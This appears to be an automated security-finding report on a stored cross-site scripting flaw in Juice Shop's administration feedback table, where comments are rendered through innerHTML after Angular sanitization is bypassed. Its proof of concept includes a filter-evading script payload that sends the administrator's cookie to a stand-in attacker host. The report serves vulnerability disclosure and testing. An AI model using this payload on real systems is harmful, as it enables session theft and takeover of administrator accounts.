agentggagentgg
Back to all findings
CRITICALconfirmedxssxssd5d4fb6b3386

Stored XSS via [innerHTML] of feedback comment in administration feedback table

The feedback table renders `feedback.comment` through Angular `[innerHTML]` after the component wraps each comment in `DomSanitizer.bypassSecurityTrustHtml`, allowing attacker-supplied feedback content to execute script in the admin's browser.

Filefrontend/src/app/administration/administration.component.html
Lines5961
Confidence
90%
File statusvalidated
Details

administration.component.html L59-61:

<mat-cell *matCellDef="let feedback" (click)="showFeedbackDetails(feedback.comment, feedback.UserId)">
  <p [innerHTML]="feedback.comment" matTooltip="..." matTooltipPosition="above"></p>
</mat-cell>

administration.component.ts L91:

feedback.comment = this.sanitizer.bypassSecurityTrustHtml(feedback.comment)

Feedback comments are user-supplied via POST /api/Feedbacks and only pass through security.sanitizeHtml/sanitizeSecure (sanitize-html based) — bypasses are routine, and when the persisted-XSS challenge flag is enabled the legacy regex sanitizer is used instead, which fails on inputs like <<script>script>...</script>. The frontend then explicitly trust-marks the value, disabling Angular's sanitizer.

Proof of concept
  1. Submit feedback POST /api/Feedbacks { rating: 1, comment: "<<script>script>fetch('//attacker/?c='+document.cookie)</script>", captchaId: …, captcha: … } (or use a sanitize-html bypass payload for the secure variant).
  2. Admin visits /#/administration; the table's [innerHTML] renders the trusted comment and the script runs.
Impact

Persistent XSS that executes in the administrator's browser whenever feedback is reviewed, enabling admin-account hijack.

Validation
confirmed

The template at lines 59-61 binds [innerHTML]="feedback.comment" and the component pre-processes the comment with sanitizer.bypassSecurityTrustHtml, explicitly disabling Angular's default sanitization. Server-side sanitization of feedback comments is known to be bypassable in Juice Shop (the persisted XSS challenge uses payloads like <<script>script>...</script> that defeat the regex sanitizer), so attacker-supplied script in a feedback comment will execute in the admin's browser when they visit /administration. Scope rules state to treat findings as real production bugs regardless of Juice Shop's training purpose. Exploit chain (POST /api/Feedbacks → admin views table → script runs) is concrete and reachable.

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Base score: 9.6 · CRITICAL

The attacker reaches the sink remotely (AV:N) by POSTing a feedback comment through /api/Feedbacks; the PoC only requires solving the public captcha and shows no authentication gate on submission, so PR:N is the worst plausible code-visible state. Exploitation needs an admin to subsequently load /#/administration, where <p [innerHTML]="feedback.comment"> renders the value that administration.component.ts L91 wrapped with bypassSecurityTrustHtml, so UI:R. Because the script executes inside the privileged administrator's authenticated session — a different security authority than the anonymous attacker who submitted the feedback — Scope is Changed, and the consequent admin-account takeover yields full read, write, and destructive control over user/feedback data and admin actions (C:H/I:H/A:H). AC:L because the existing sanitizers are routinely bypassable (sanitize-html bypasses, or the legacy regex sanitizer that fails on <<script>script>…) with no special timing or configuration required.

References